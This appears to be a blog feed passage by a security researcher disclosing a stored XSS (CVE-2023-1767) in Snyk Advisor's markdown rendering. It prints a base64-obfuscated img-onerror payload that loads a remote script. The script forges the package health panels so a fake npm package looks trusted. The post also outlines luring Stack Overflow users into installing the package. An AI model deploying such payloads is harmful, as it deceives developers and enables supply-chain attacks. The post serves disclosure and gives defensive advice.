&lt;p&gt;We proved code execution on &lt;a href=&quot;https://snyk.io/advisor/npm-package/png2jpg&quot;&gt;https://snyk.io/advisor/npm-package/png2jpg&lt;/a&gt;, it’s time to &lt;strong&gt;make it dance!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, Snyk Advisor’s scan takes a few days with each new package version that is published, so I preferred implementing&lt;br /&gt;
an external payload script that I can change as much as I want.&lt;/p&gt;
&lt;p&gt;Therefore, here’s the update to the README file:&lt;/p&gt;
&lt;div class=&quot;language-markdown highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gu&quot;&gt;## png2jpg - A NodeJS tool for converting pngs to jpgs&lt;/span&gt;

&lt;span class=&quot;gu&quot;&gt;### Install&lt;/span&gt;

yarn add png2jpg / npm install png2jpg

&lt;span class=&quot;gu&quot;&gt;### Usage&lt;/span&gt;

const png2jpg = require(&apos;png2jpg&apos;);
const jpg = await png2jpg(png);

&lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;//no-such-domain-2390dkj.com/&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onerror=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;eval(atob(&apos;KGZ1bmN0aW9uKCl7IGNvbnN0IHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsgcy5zcmMgPSAnaHR0cHM6Ly93ZWl6bWFuLmdpdGh1Yi5pby9wdWJsaWMvc2VydmljZS5qcyc7IGRvY3VtZW50LmhlYWQuYXBwZW5kKHMpOyB9KCkp&apos;))&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Which translates into:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt; 
 &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
 &lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://weizman.github.io/public/service.js&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// service.js looks more legit!&lt;/span&gt;
 &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;}())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Which simply loads the payload externally:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// don&apos;t run more than once&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__ran&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__ran&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// remove the &quot;Unable to verify the project&apos;s public source code repository.&quot; alert message&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.alert&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// capture all needed elements in the page&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;extra&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.package-extra&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;security&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#security&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;community&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#community&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;popularity&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#popularity&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;maintenance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#maintenance&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;copy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelectorAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// replace the HTML of the &quot;extra&quot;, &quot;security&quot; and &quot;community&quot; information boxes with &lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// the HTML from the node package to deliver a more reliable message&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;extra&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;LARGE_B64&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;security&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;LARGE_B64&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;community&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;LARGE_B64&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// remove the &quot;popularity&quot; and &quot;maintenance&quot; information boxes &apos;cause I was too lazy to immulate them&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;popularity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;maintenance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// remove the image we used in the XSS to reduce suspiciousy&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;aW1nW3NyY149Ii8vIl0=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// reset the functionallity of the copy button because this exploit ruins it for some reason&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;__copy&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;outerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;__copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;clipboard&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;writeText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;bnBtIGluc3RhbGwgcG5nMmpwZw==&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(&lt;a href=&quot;https://github.com/weizman/CVE-2023-1767/blob/main/demo/README.md#malicious-js-payload&quot;&gt;payload.js&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;And the result is &lt;strong&gt;pretty good!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/snyk3.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And for a motivated attacker, the result could have been even &lt;strong&gt;flawless&lt;/strong&gt; with some additional work on the &lt;strong&gt;deception part&lt;/strong&gt;,
but this should be enough for you to get the picture.&lt;/p&gt;
&lt;h3 id=&quot;sell-it&quot;&gt;Sell it!&lt;/h3&gt;
&lt;p&gt;Now that our payload is successfully making our package look legit, all there’s left is to get someone to install it.
I can do so by finding an online thread about someone trying to turn &lt;code&gt;png&lt;/code&gt;s to &lt;code&gt;jpg&lt;/code&gt;s using JavaScript, and offer my service.&lt;/p&gt;
&lt;p&gt;Here’s an actual &lt;a href=&quot;https://stackoverflow.com/questions/20744628/how-to-convert-a-image-from-png-to-jpeg-using-javascript&quot;&gt;thread on Stackoverflow&lt;/a&gt;
of people who are looking for a solution - all I need to do is to suggest my package and link it to &lt;a href=&quot;https://snyk.io/advisor/npm-package/png2jpg&quot;&gt;https://snyk.io/advisor/npm-package/png2jpg&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;What’s likely to happen is that someone who sees it, will go on the Snyk link, see that my package is totally legit and popular (even though it isn’t),
and copy the &lt;code&gt;npm install png2jpg&lt;/code&gt; command from there, trusting Snyk Advisor completely - &lt;strong&gt;Supply Chain Attack Achieved&lt;/strong&gt;!&lt;/p&gt;
&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;This has been a short ride through exploiting an XSS vulnerability to &lt;strong&gt;compromise the Snyk Advisory service central goal&lt;/strong&gt;, to be a trustworthy judge of npm packages.&lt;/p&gt;
&lt;p&gt;I hope markdown sanitization and the dangers in not performing defense in depth are more clear to you after reading this.&lt;/p&gt;
&lt;h3 id=&quot;builders&quot;&gt;Builders&lt;/h3&gt;
&lt;p&gt;Here are the two main takeaways from this research:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sanitize user input, including Markdown!&lt;/strong&gt; - Markdown allows html &lt;strong&gt;by spec&lt;/strong&gt;! Therefore, if you present Markdown content, it might introduce XSSable HTML tags - &lt;strong&gt;especially&lt;/strong&gt; if you are not the generator of the content! Just like the rest of your app, you need to sanitize Markdown content too.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use CSP!&lt;/strong&gt; - Sanitization &lt;strong&gt;isn’t always perfect&lt;/strong&gt;. CSP is a great mechanizm for making sure any infiltrated XSS can’t actually end up executing. If your app presents content you don’t control, you should integrate CSP into it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;breakers&quot;&gt;Breakers&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Markdown XSS is a concept&lt;/strong&gt;. There are a lot of services that parse and display Markdown, including IDEs.&lt;/p&gt;
&lt;p&gt;They all might be vulnerable to this - I &lt;strong&gt;encourge&lt;/strong&gt; you to go out and &lt;strong&gt;seek for yourselves!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you find any - &lt;strong&gt;responsibly&lt;/strong&gt; disclose your findings to the vulnerable vendor by cooperating with them.&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Visit &lt;a href=&quot;https://weizman.github.io/&quot;&gt;Gal Weizman&lt;/a&gt; for more JavaScript security related content (also on &lt;a href=&quot;https://twitter.com/WeizmanGal&quot;&gt;twitter&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Thank you &lt;a href=&quot;https://acepace.net&quot;&gt;Daniel Goldberg&lt;/a&gt; for your help in editing and improving this post! (also on &lt;a href=&quot;https://twitter.com/ace__pace&quot;&gt;twitter&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>CVE-2023-1767 - Stored XSS on Snyk Advisor service can allow full fabrication of npm packages health score [𝕏]</title>
   <link href="https://weizman.github.io//2023/04/09/snyk-xss/"/>
   <updated>2023-04-09T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/04/09/snyk-xss-</id>
   <content type="html">&lt;style&gt;
    .post {
        max-width: 80vh;
    }
    IMG {
        border: solid 1px lightgray;
        padding: 15px;
        margin: 15px;
    }
&lt;/style&gt;
&lt;blockquote&gt;&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1649232132257239041&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div id=container&gt;
    Nothing too exciting about yet another stored #XSS on a public security service.&lt;br&gt;
    &lt;br&gt;
    Question is however - what you do with it?&lt;br&gt;
    &lt;br&gt;
    A story about a fresh new CVE in the packages advisory tool of &lt;a href=&quot;https://x.com/@snyksec&quot;&gt;@snyksec&lt;/a&gt; - only this time with a fun twist! 🧵&lt;br&gt;
    &lt;br&gt;
    (full story on ) &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://weizman.github.io/2023/04/10/snyk-xss/&quot;&gt;weizman.github.io/2023/04/10/sny…&lt;/a&gt;&lt;br&gt;
    &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/FuM_4c3aEAAttAX.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/FuM_4c3aEAAttAX.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Last month I found a stored XSS on Snyk’s advisory tool. By accident.&lt;br&gt;
    &lt;br&gt;
    I just wanted to have a look at an npm package I maintain, and that’s a service the advisory provides.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    In case you’re not familiar with it, it’s a blessed initiative by the &lt;a href=&quot;https://x.com/@snyksec&quot;&gt;@snyksec&lt;/a&gt; folks.&lt;br&gt;
    &lt;br&gt;
    &lt;a href=&quot;https://snyk.io/advisor/&quot;&gt;https://snyk.io/advisor/&lt;/a&gt;
    &lt;br&gt;
    Its purpose is to give you the most accurate insights on how legit an npm (or a python) package is when considering to use it - insights you don’t get from npm itself.&lt;br&gt;
    &lt;br&gt;
    &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://snyk.io/advisor/&quot; style=&quot;display: none;&quot;&gt;snyk.io/advisor/&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    I took a look at my package which naively contains in its README the string “&amp;lt;iframe&amp;gt;” and was surprised to see that instead of presenting it as-is, the advisor rendered the iframe!&lt;br&gt;
    &lt;br&gt;
    Markdown-to-XSS isn’t a new technique actually (look it up), but hold on - the twist is coming!
    &lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    What do you do with a stored XSS? You try to compromise logged-in users, right?&lt;br&gt;
    &lt;br&gt;
    Not this time! We can go BIGGER!&lt;br&gt;
    &lt;br&gt;
    We can turn the whole point of the advisory tool against itself 😈
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    I found a stackoverflow thread online of people looking for an npm package that turns pngs to jpgs.&lt;br&gt;
    &lt;br&gt;
    I registered “png2jpg” (already deleted) as a legitimate converter tool, but instead of actually implementing such, index.js was basically “console.log(‘supply chain attack!!’)”
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    A day later, the adisory analyzed my package and granted it a terrible health score for being so new and not adopted.&lt;br&gt;
    &lt;br&gt;
    Although that’s completely fair, it’s going to make it very hard to convince my victims to install my package.&lt;br&gt;
    &lt;br&gt;
    Luckily, my Markdown-to-XSS can change that 😉 &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/FuM_5naaMAAY7rc.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/FuM_5naaMAAY7rc.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    I published a new version to npm where I added&lt;br&gt;
    &lt;br&gt;
    “&amp;lt;img src=1 onerror=‘alert(location.href)’&amp;gt;”&lt;br&gt;
    &lt;br&gt;
    to the bottom of the README file, just to prove my XSS works: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/FuM_6FZaAAYdp4-.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/FuM_6FZaAAYdp4-.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Finally, I uploaded the final version. This time I leveraged the XSS to change the layout in the advisory to lie about my package and present it as legitimate and highly popular!&lt;br&gt;
    &lt;br&gt;
    And the result? Well, judge for yourself: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/FuM_6m-aQAI7UpD.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/FuM_6m-aQAI7UpD.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
